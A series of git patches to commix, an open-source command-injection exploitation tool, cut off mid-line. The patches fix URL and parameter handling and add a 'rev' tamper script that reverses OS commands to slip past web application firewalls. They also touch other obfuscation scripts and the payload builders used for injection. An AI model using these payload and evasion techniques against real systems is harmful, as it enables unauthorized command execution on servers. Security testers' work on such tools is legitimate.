a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 2119eb13ab..6327bb90cc 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -866,7 +866,7 @@ def check_CGI_scripts(url): def check_http_s(url): if settings.SINGLE_WHITESPACE in url: url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) - + if settings.CHECK_INTERNET: url = settings.CHECK_INTERNET_ADDRESS else: @@ -878,9 +878,6 @@ def check_http_s(url): else: url = "http://" + url settings.SCHEME = (_urllib.parse.urlparse(url).scheme.lower() or "http") if not menu.options.force_ssl else "https" - if menu.options.force_ssl and settings.VERBOSITY_LEVEL != 0: - debug_msg = "Forcing usage of SSL/HTTPS requests." - print(settings.print_debug_msg(debug_msg)) else: err_msg = "Invalid target URL has been given." print(settings.print_critical_msg(err_msg)) @@ -889,6 +886,13 @@ def check_http_s(url): err_msg = "Problem occurred while parsing target URL." print(settings.print_critical_msg(err_msg)) raise SystemExit() + + if _urllib.parse.urlparse(url).scheme != settings.SCHEME: + if menu.options.force_ssl and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Forcing usage of SSL/HTTPS requests." + print(settings.print_debug_msg(debug_msg)) + url = url.replace(_urllib.parse.urlparse(url).scheme, settings.SCHEME) + return url """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 5aa6543ad1..28e0c3614e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From bb3140d1f8b3f47d2f08913e1afa3d0407029109 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 5 Jun 2023 08:37:22 +0300 Subject: [PATCH 308/560] Fixes https://github.com/commixproject/commix/issues/843 --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 22 +++++++++++++--------- src/core/requests/parameters.py | 23 +++++++++++++++++------ src/utils/settings.py | 2 +- 4 files changed, 32 insertions(+), 16 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d3897ad4d4..ce7b594fb7 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). * Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag). * Fixed: Minor bug-fix regarding setting custom output directory path (i.e `--output-dir` option). * Added: Support for "Bearer" HTTP authentication type. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6327bb90cc..012397dbd9 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1757,24 +1757,28 @@ def check_similarities(all_params): json_data = json.loads(all_params, object_pairs_hook=OrderedDict) all_params = flatten(json_data) for param in all_params: - if param == all_params[param]: - parameter_name = param - all_params[param] = param + settings.RANDOM_TAG + if all_params[param] in param: + all_params[param] = all_params[param] + settings.RANDOM_TAG all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")] except Exception as e: pass else: for param in range(0, len(all_params)): if settings.IS_XML: - if re.findall(r'', all_params[param]) == re.findall(r'>(.*)(.*)" + if re.findall(r'>(.*)(.*)', all_params[param])[0]: + parameter_name = ''.join(re.findall(r'', all_params[param])) + parameter_value = ''.join(re.findall(r'>(.*)" + parameter_value + settings.RANDOM_TAG + "" else: if re.findall(r'(.*)=', all_params[param]) == re.findall(r'=(.*)', all_params[param]): - parameter_name = re.findall(r'=(.*)', all_params[param]) - parameter_name = ''.join(parameter_name) + parameter_name = ''.join(re.findall(r'=(.*)', all_params[param])) all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG + elif re.findall(r'=(.*)', all_params[param])[0] in re.findall(r'(.*)=', all_params[param])[0]: + parameter_name = ''.join(re.findall(r'(.*)=', all_params[param])) + parameter_value = ''.join(re.findall(r'=(.*)', all_params[param])) + all_params[param] = parameter_name + "=" + parameter_value + settings.RANDOM_TAG + return all_params """ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index e6195dcf3b..e0423c1b3a 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -106,6 +106,7 @@ def multi_params_get_value(parameter): parameters = parameters.replace(value, value + settings.INJECT_TAG) # Reconstruct the URL url = url_part + "?" + parameters + url = url.replace(settings.RANDOM_TAG,"") urls_list.append(url) return urls_list else: @@ -148,7 +149,8 @@ def multi_params_get_value(parameter): value = multi_params_get_value(multi_parameters[param]) parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) # Reconstruct the URL - url = url_part + "?" + parameter + url = url_part + "?" + parameter + url = url.replace(settings.RANDOM_TAG,"") urls_list.append(url) return urls_list @@ -249,6 +251,9 @@ def multi_params_get_value(param, all_params): for param in range(len(multi_parameters)): multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) + _ = [] + _.append(parameter) + parameter = ''.join(checks.check_similarities(_)) # Check if single parameter is supplied. if len(multi_parameters) == 1: if settings.INJECT_TAG not in multi_parameters[0]: @@ -265,9 +270,6 @@ def multi_params_get_value(param, all_params): value = re.findall(r'>(.*) Date: Tue, 6 Jun 2023 07:37:28 +0300 Subject: [PATCH 309/560] Minor update --- .../results_based/techniques/classic/cb_payloads.py | 5 ----- src/core/main.py | 9 +++------ src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 12 deletions(-) diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 769defe8f7..fb3b25eae1 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -119,11 +119,6 @@ def cmd_execution(separator, TAG, cmd): "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL ) else: - - # if not settings.WAF_ENABLED: - # cmd_exec = "$(echo $(" + cmd + "))" - # else: - if settings.USE_BACKTICKS: cmd_exec = "`" + cmd + "`" payload = (separator + diff --git a/src/core/main.py b/src/core/main.py index 7af298d987..56c902ab15 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -84,14 +84,11 @@ def user_agent_header(): else: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Fetching random HTTP User-Agent header. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + print(settings.print_debug_msg(debug_msg)) else: pass try: menu.options.agent = random.choice(settings.USER_AGENT_LIST) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." print(settings.print_info_msg(info_msg)) except: @@ -166,8 +163,8 @@ def init_request(url): checks.check_connection(url) # Number of seconds to wait before timeout connection if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Setting the HTTP timeout." - print(settings.print_debug_msg(debug_msg)) + debug_msg = "Setting the HTTP timeout." + print(settings.print_debug_msg(debug_msg)) if menu.options.timeout: settings.TIMEOUT = menu.options.timeout # Define HTTP User-Agent header diff --git a/src/utils/settings.py b/src/utils/settings.py index ad3349cbb2..e18ffce7c3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7f56f41cbabae0d9d325360a3ce85ebd0d50f5c8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 8 Jun 2023 08:20:38 +0300 Subject: [PATCH 310/560] Added a new tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for *nix targets). --- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_payloads.py | 2 + src/core/injections/controller/checks.py | 18 ++++++++ .../techniques/classic/cb_payloads.py | 2 + .../techniques/eval_based/eb_payloads.py | 1 + .../techniques/file_based/fb_payloads.py | 1 + .../techniques/tempfile_based/tfb_payloads.py | 2 + src/core/tamper/rev.py | 41 +++++++++++++++++++ src/utils/settings.py | 14 +++++-- 9 files changed, 79 insertions(+), 3 deletions(-) create mode 100644 src/core/tamper/rev.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ce7b594fb7..20317eb0c2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for *nix targets). * Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). * Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag). * Fixed: Minor bug-fix regarding setting custom output directory path (i.e `--output-dir` option). diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 6203f83e7b..1f4afc44c1 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -178,6 +178,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): ) else: + settings.USER_SUPPLIED_CMD = cmd if separator == ";" or separator == "%0a": payload = (separator + "str=\"$(echo $(" + cmd + "))\"" + separator + @@ -307,6 +308,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met ) else: + settings.USER_SUPPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + # Grab the execution output. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 012397dbd9..8c8f7da6c5 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1297,6 +1297,16 @@ def whitespace_check(payload): Check for symbols (i.e "`", "^", "$@" etc) between the characters of the generated payloads. """ def other_symbols(payload): + # Check for reversed (characterwise) user-supplied operating system commands. + if payload.count("|rev") >= 1 and settings.TARGET_OS == "unix": + if not settings.TAMPER_SCRIPTS['rev']: + if menu.options.tamper: + menu.options.tamper = menu.options.tamper + ",rev" + else: + menu.options.tamper = "rev" + from src.core.tamper import rev + payload = rev.tamper(payload) + # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. if payload.count("`") >= 2 and settings.TARGET_OS == "unix": if menu.options.tamper: @@ -1503,10 +1513,18 @@ def check_for_stored_tamper(payload): """ def perform_payload_modification(payload): + settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) + for extra_http_headers in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): if extra_http_headers == "xforwardedfor": from src.core.tamper import xforwardedfor + for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + # Reverses (characterwise) the user-supplied operating system commands + if encode_type == 'rev': + from src.core.tamper import rev + payload = rev.tamper(payload) + for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # printf to echo (for ascii to dec) if encode_type == 'printf2echo': diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index fb3b25eae1..b215fedabf 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -119,6 +119,7 @@ def cmd_execution(separator, TAG, cmd): "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL ) else: + settings.USER_SUPPLIED_CMD = cmd if settings.USE_BACKTICKS: cmd_exec = "`" + cmd + "`" payload = (separator + @@ -135,6 +136,7 @@ def cmd_execution(separator, TAG, cmd): cmd_exec + "$(echo " + TAG + ")" + TAG + "" ) + return payload """ diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index f74103f731..ae2a96cc4c 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -175,6 +175,7 @@ def cmd_execution(separator, TAG, cmd): separator + "echo '" + TAG + "'`)%3B" ) else: + settings.USER_SUPPLIED_CMD = cmd if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 390b88ee39..549142e079 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -81,6 +81,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): "\")\"') do " + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + " '%i'" + settings.CMD_NUL ) else: + settings.USER_SUPPLIED_CMD = cmd payload = (separator + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 88f76366a1..de5cc74bd9 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -204,6 +204,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ) else: + + settings.USER_SUPPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py new file mode 100644 index 0000000000..696fa4bf43 --- /dev/null +++ b/src/core/tamper/rev.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib + +""" +About: Is used to reverse (characterwise) the user-supplied operating system commands. +Notes: This tamper script works against Unix-like target(s). +References: [1] https://github.com/commixproject/commix/issues/408 + [2] https://medium.com/picus-security/how-to-bypass-wafs-for-os-command-injection-2c5dd4e6a52b +""" + +__tamper__ = "rev" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + if settings.EXPLOITATION_PHASE: + if settings.USER_SUPPLIED_CMD in settings.RAW_PAYLOAD: + if settings.USE_BACKTICKS: + rev_cmd = "`echo " + settings.USER_SUPPLIED_CMD[::-1] + "|rev`" + else: + rev_cmd = "$(echo " + settings.USER_SUPPLIED_CMD[::-1] + "|rev)" + payload = settings.RAW_PAYLOAD.replace(settings.USER_SUPPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + return payload + +# eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index e18ffce7c3..9776ca77f5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -270,6 +270,9 @@ def sys_argv_errors(): # Readline READLINE_ERROR = False +# User-supplied operating system command +USER_SUPPLIED_CMD = "" + # Random Tag RANDOM_TAG = "" @@ -482,6 +485,9 @@ def sys_argv_errors(): EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + ["'#"] EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#"] +# Raw payload (without tampering) +RAW_PAYLOAD = "" + # The default (url-ecoded) white-space. WHITESPACES = ["%20"] @@ -1021,7 +1027,8 @@ class AUTH_TYPE(object): "printf2echo": False, "uninitializedvariable": False, "slash2env":False, - "backticks":False + "backticks":False, + "rev":False } UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS = [ @@ -1039,7 +1046,8 @@ class AUTH_TYPE(object): "sleep2usleep", "printf2echo", "space2ifs", - "uninitializedvariable" + "uninitializedvariable", + "rev" ] EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS = [ From 9706d61dac28142df60ece646d76e4d0b16e7044 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 9 Jun 2023 07:50:13 +0300 Subject: [PATCH 311/560] Minor code refactoring --- src/core/injections/controller/checks.py | 78 +++++++++++++----------- src/core/tamper/doublequotes.py | 1 + src/core/tamper/nested.py | 1 + src/core/tamper/printf2echo.py | 1 + src/utils/settings.py | 2 +- 5 files changed, 46 insertions(+), 37 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8c8f7da6c5..7215615535 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1210,7 +1210,7 @@ def tamper_scripts(stored_tamper_scripts): _ = True warn_msg = "The combination of the provided tamper scripts " if _: - warn_msg += "is not a good idea (may cause false positive results)." + warn_msg += "is not a good idea (may cause false positive / negative results)." print(settings.print_warning_msg(warn_msg)) """ @@ -1514,87 +1514,93 @@ def check_for_stored_tamper(payload): def perform_payload_modification(payload): settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) - + for extra_http_headers in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): if extra_http_headers == "xforwardedfor": from src.core.tamper import xforwardedfor - for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # Reverses (characterwise) the user-supplied operating system commands - if encode_type == 'rev': + if mod_type == 'rev': from src.core.tamper import rev payload = rev.tamper(payload) - for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for print_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # printf to echo (for ascii to dec) - if encode_type == 'printf2echo': + if print_type == 'printf2echo': from src.core.tamper import printf2echo payload = printf2echo.tamper(payload) + + for sleep_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # sleep to timeout - if encode_type == 'sleep2timeout': + if sleep_type == 'sleep2timeout': from src.core.tamper import sleep2timeout payload = sleep2timeout.tamper(payload) # sleep to usleep - if encode_type == 'sleep2usleep': + if sleep_type == 'sleep2usleep': from src.core.tamper import sleep2usleep payload = sleep2usleep.tamper(payload) - # Add uninitialized variable. - if encode_type == 'uninitializedvariable': - from src.core.tamper import uninitializedvariable - payload = uninitializedvariable.tamper(payload) - if encode_type == 'slash2env': - from src.core.tamper import slash2env - payload = slash2env.tamper(payload) + + for quotes_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # Add double-quotes. - if encode_type == 'doublequotes': + if quotes_type == 'doublequotes': from src.core.tamper import doublequotes payload = doublequotes.tamper(payload) # Add single-quotes. - if encode_type == 'singlequotes': + if quotes_type == 'singlequotes': from src.core.tamper import singlequotes payload = singlequotes.tamper(payload) + + for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + # Add uninitialized variable. + if mod_type == 'uninitializedvariable': + from src.core.tamper import uninitializedvariable + payload = uninitializedvariable.tamper(payload) + if mod_type == 'slash2env': + from src.core.tamper import slash2env + payload = slash2env.tamper(payload) # Add backslashes. - elif encode_type == 'backslashes': + if mod_type == 'backslashes': from src.core.tamper import backslashes payload = backslashes.tamper(payload) # Add caret symbol. - elif encode_type == 'caret': + if mod_type == 'caret': from src.core.tamper import caret payload = caret.tamper(payload) # Transfomation to nested command - elif encode_type == 'nested': + if mod_type == 'nested': from src.core.tamper import nested payload = nested.tamper(payload) # Add dollar sign followed by an at-sign. - elif encode_type == 'dollaratsigns': + if mod_type == 'dollaratsigns': from src.core.tamper import dollaratsigns payload = dollaratsigns.tamper(payload) - for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): - # Encode payload to hex format. - if encode_type == 'base64encode': - from src.core.tamper import base64encode - payload = base64encode.tamper(payload) - # Encode payload to hex format. - if encode_type == 'hexencode': - from src.core.tamper import hexencode - payload = hexencode.tamper(payload) - - for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for space_mod in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # Encode spaces. - if encode_type == 'space2ifs': + if space_mod == 'space2ifs': from src.core.tamper import space2ifs payload = space2ifs.tamper(payload) - if encode_type == 'space2plus': + if space_mod == 'space2plus': from src.core.tamper import space2plus payload = space2plus.tamper(payload) - if encode_type == 'space2htab': + if space_mod == 'space2htab': from src.core.tamper import space2htab payload = space2htab.tamper(payload) - if encode_type == 'space2vtab': + if space_mod == 'space2vtab': from src.core.tamper import space2vtab payload = space2vtab.tamper(payload) + for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + # Encode payload to hex format. + if encode_type == 'base64encode': + from src.core.tamper import base64encode + payload = base64encode.tamper(payload) + # Encode payload to hex format. + if encode_type == 'hexencode': + from src.core.tamper import hexencode + payload = hexencode.tamper(payload) + return payload """ diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 350e8a3b6a..8ab33e2d54 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -24,6 +24,7 @@ """ __tamper__ = "doublequotes" + if settings.TRANFROM_PAYLOAD != None: settings.TRANFROM_PAYLOAD = None diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 192b840022..c26af491f8 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -24,6 +24,7 @@ """ __tamper__ = "nested" + if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index e864a888f9..e9b292d76f 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -21,6 +21,7 @@ """ __tamper__ = "printf2echo" + settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): diff --git a/src/utils/settings.py b/src/utils/settings.py index 9776ca77f5..69f87ad17d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From edb2229ae6e4f0b477712b0752aca86a95df7252 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 10 Jun 2023 08:10:12 +0300 Subject: [PATCH 312/560] Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 2 +- src/core/tamper/backslashes.py | 18 +++++----------- src/core/tamper/dollaratsigns.py | 20 +++++------------- src/core/tamper/doublequotes.py | 26 ++++++++---------------- src/core/tamper/singlequotes.py | 21 ++++++------------- src/core/tamper/uninitializedvariable.py | 22 +++++--------------- src/utils/settings.py | 13 +++++++++++- 8 files changed, 44 insertions(+), 79 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 20317eb0c2..255ce6cbb4 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). * Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for *nix targets). * Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). * Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7215615535..8e7362ff5b 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1306,7 +1306,7 @@ def other_symbols(payload): menu.options.tamper = "rev" from src.core.tamper import rev payload = rev.tamper(payload) - + # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. if payload.count("`") >= 2 and settings.TARGET_OS == "unix": if menu.options.tamper: diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 6724aad621..4696cc30af 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -31,20 +31,12 @@ def tamper(payload): def add_back_slashes(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "\\I\\F\\S": "IFS", - "\\i\\f": "if", - "\\t\\h\\e\\n": "then", - "\\e\\l\\s\\e": "else", - "\\f\\i": "fi", - "\\s\\t\\r": "str", - "\\c\\m\\d": "cmd", - "\\c\\ha\\r": "char" - } + obf_char = "\\" payload = re.sub(r'([b-zD-Z])', r"\\\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char,"")) return payload if settings.TARGET_OS != "win": diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 7720e6c4c1..649d7116de 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -14,8 +14,6 @@ """ import re -import sys -from src.utils import menu from src.utils import settings """ @@ -31,20 +29,12 @@ def tamper(payload): def add_dollar_at_signs(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "$@I$@F$@S": "IFS", - "$@i$@f": "if", - "$@t$@h$@e$@n": "then", - "$@e$@l$@s$@e": "else", - "$@f$@i": "fi", - "$@s$@t$@r": "str", - "$@c$@m$@d": "cmd", - "$@c$@ha$@r": "char" - } + obf_char = "$@" payload = re.sub(r'([b-zD-Z])', r"$@\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char,"")) return payload if settings.TARGET_OS != "win": diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 8ab33e2d54..e449794dc2 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -14,8 +14,6 @@ """ import re -import sys -from src.utils import menu from src.utils import settings """ @@ -34,23 +32,17 @@ def tamper(payload): def add_double_quotes(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - '""I""F""S': 'IFS', - '""i""f': 'if', - '""t""h""e""n': 'then', - '""e""l""s""e': 'else', - '""f""i': 'fi', - '""s""t""r': 'str', - '""c""m""d': 'cmd', - '""c""ha""r': 'char' - } - if settings.TARGET_OS != "win": + obf_char = '""' + if settings.TARGET_OS != "win": payload = re.sub(r'([b-zD-Z])', r'""\1', payload) else: - payload = payload.replace("tokens","\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"") - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + word = "tokens" + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + payload = payload.replace(word,_) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char,"")) return payload if settings.EVAL_BASED_STATE != False: diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 44729569a9..f5d3d5dbd5 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -12,9 +12,8 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re -import sys -from src.utils import menu from src.utils import settings """ @@ -30,20 +29,12 @@ def tamper(payload): def add_single_quotes(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "''I''F''S": "IFS", - "''i''f": "if", - "''t''h''e''n": "then", - "''e''l''s''e": "else", - "''f''i": "fi", - "''s''t''r": "str", - "''c''m''d": "cmd", - "''c''ha''r": "char" - } + obf_char = "''" payload = re.sub(r'([b-zD-Z])', r"''\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, 